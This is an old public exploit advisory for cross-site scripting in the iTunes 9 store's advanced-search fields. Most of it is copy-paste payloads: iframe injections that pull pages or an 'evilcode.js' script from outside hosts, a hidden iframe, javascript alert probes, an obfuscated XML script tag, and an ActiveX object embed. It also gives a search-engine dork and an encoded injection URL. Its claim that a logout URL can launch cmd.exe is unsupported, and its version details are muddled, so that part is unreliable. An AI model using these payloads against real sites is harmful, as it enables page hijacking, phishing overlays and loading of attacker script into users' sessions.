Apple iTunes 9.00.70 / 9.2.15 Cross Site Scripting

`+===============================================================================+  
+ © 2000–2010 Itunes 9 & XSS Vulnerabilities +  
+===============================================================================+  
  
  
Author(s): Ivan Sanchez   
  
Date: 31/07/2010  
  
Product: Itunes 9  
  
Web: http://www.apple.com/itunes/   
  
  
Version Affected: 9.2.15 (2000-2010)  
  
version Affected: 9.00.70 (200-2009)  
  
  
Exploitable : Locally  
  
  
  
"  
iTunes is a free application for your Mac or PC.   
It organizes and plays your digital music and video on your computer.   
It syncs all your media with your iPod, iPhone, and Apple TV. And it’s a store on your computer, iPod touch, iPhone,   
and Apple TV that has everything you need to be entertained. Anywhere. Anytime."  
  
  
  
GOOGLE DORKS:  
------------  
  
inurl: https://buy.itunes.apple.com/WebObjects/MZFinance.woa/wa/logoutWithSignOutKey  
  
  
  
Steps:  
------  
  
  
Well, we go ahead to see the bugs,  
  
  
Fist one on this version : Itunes version 9.2.15  
  
  
  
1-Open the Itunes application: Itunes.exe (as you know)  
  
  
  
2-Or you can open it from these urls. (as you know too)  
  
  
  
http://ax.search.itunes.apple.com/WebObjects/MZSearch.woa/wa/advancedSearch  
  
  
http://ax.search.itunes.apple.com/WebObjects/MZSearch.woa/wa/advancedSearch?mt=8  
  
  
http://itunes.apple.com/ar/app/id%22%3E%3Ciframe%20src=http://www.google.com%3E%3C/iframe%3E?mt=8  
  
  
3-Or you can open it from this url.   
  
  
SSL:  
----  
  
on this way you will take ,the possibilities to open any tool from this url,could be "cmd.exe / explorer.exe /itunes.exe"  
  
  
https://buy.itunes.apple.com/WebObjects/MZFinance.woa/wa/logoutWithSignOutKey  
  
  
  
  
Itunes has been opened:  
-----------------------  
  
find please the following way;  
  
  
  
Itunes Store (click)  
  
  
  
A)Then you need to go to Advanced searching.(click)  
  
B)There are a lot of textbox to complete or choose as you wish.  
  
  
Copy & paste the examples  
  
  
C)sometime I have put double code xss in the same place.  
  
  
  
  
General Examples:  
  
  
"><iframe src=http://www.nullcode.com.ar></iframe>  
  
"><iframe src="javascript:alert(0)">  
  
'">><marquee><h1>nullcode.com.ar</h1></marquee>  
  
  
  
Example 1:  
  
put this code in the same textbox "paste paste paste" in the same place  
  
<iframe id="frame" src="http://www.nullcode.com.ar/" style="width: 1280px; height: 1024px; position: absolute; left: 0px; top: 0px; z-index: 10000;" frameborder="0"></iframe>  
  
  
  
Example 2:  
  
<div style="position:fixed; right:60px; bottom:10px; overflow:visible;" id="clippy"> <table valign="top" width="180" height="209" border="0" background="http://www.nullcode.com.ar/images/ok.JPG " cellpadding="10"> <tr><td valign="top">Hello, it looks like you have an XSS vulnerability, would you like <a href="http://www.owasp.org/index.php/Cross_site_scripting">some help fixing that?</a></td></tr> </table> </div>  
  
  
Example 3:  
  
iframe src="http://nullcode.com.ar/index.php" width=127 height=167 style="visibility: hidden"  
  
  
Example 4:  
  
"><iframe src=http://ax.search.itunes.apple.com/WebObjects/MZSearch.woa/wa/advancedSearch?mt=8</iframe>  
  
"><iframe src=http://ax.phobos.apple.com.edgesuite.net/detection/ITDetector.cab</iframe>  
  
  
Example 5:  
  
"><iframe src=https://buy.itunes.apple.com/WebObjects/MZFinance.woa/wa/logoutWithSignOutKey</iframe>  
  
  
  
Information about this entry used:  
  
  
DPF: {D719897A-B07A-4C0C-AEA9-9B663A28DFCB} (iTunesDetector Class) - http://ax.phobos.app.../ITDetector.cab  
  
</script><Object classid="CLSID:D719897A-B07A-4C0C-AEA9-9B663A28DFCB" codebase="http://ax.phobos.apple.com.edgesuite.net/detection/ITDetector.cab" width="1" height="1" id="iTunesDetector">  
</Object>  
  
  
  
  
  
  
Exploint the old version:  
Itunes version 9.0.70  
  
  
  
Itunes has been opened:  
-----------------------  
  
  
Itunes Store (click)  
  
  
  
A)Then you need to go to Advanced searching.(click)  
  
B)There are a lot of textbox to complete or choose as you wish.  
  
  
Copy & paste the examples  
  
1  
C)sometime I have put double code XSS in the same place. iT runs !   
  
  
  
  
Example 1:  
  
"><iframe src=http://www.nullcode.com.ar/crash/echo.txt></iframe>  
  
  
Example 2:  
  
"><iframe src=http://site/evilcode.js></iframe>  
  
  
Example 3:  
  
<div style="background-image: url(denied:javascript:alert('XSS'))"></div>  
  
  
  
Example 4:  
  
<XML ID="xss"><i><b><img src="src" alt="image" />cript:alert('XSS')"></b></i></XML>¬  
<span></span>  
  
  
  
  
  
  
  
NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!  
+===============================================================================+  
+ © 2000–2010 Itunes9 & XSS Vulnerabilities +  
+===============================================================================+  
`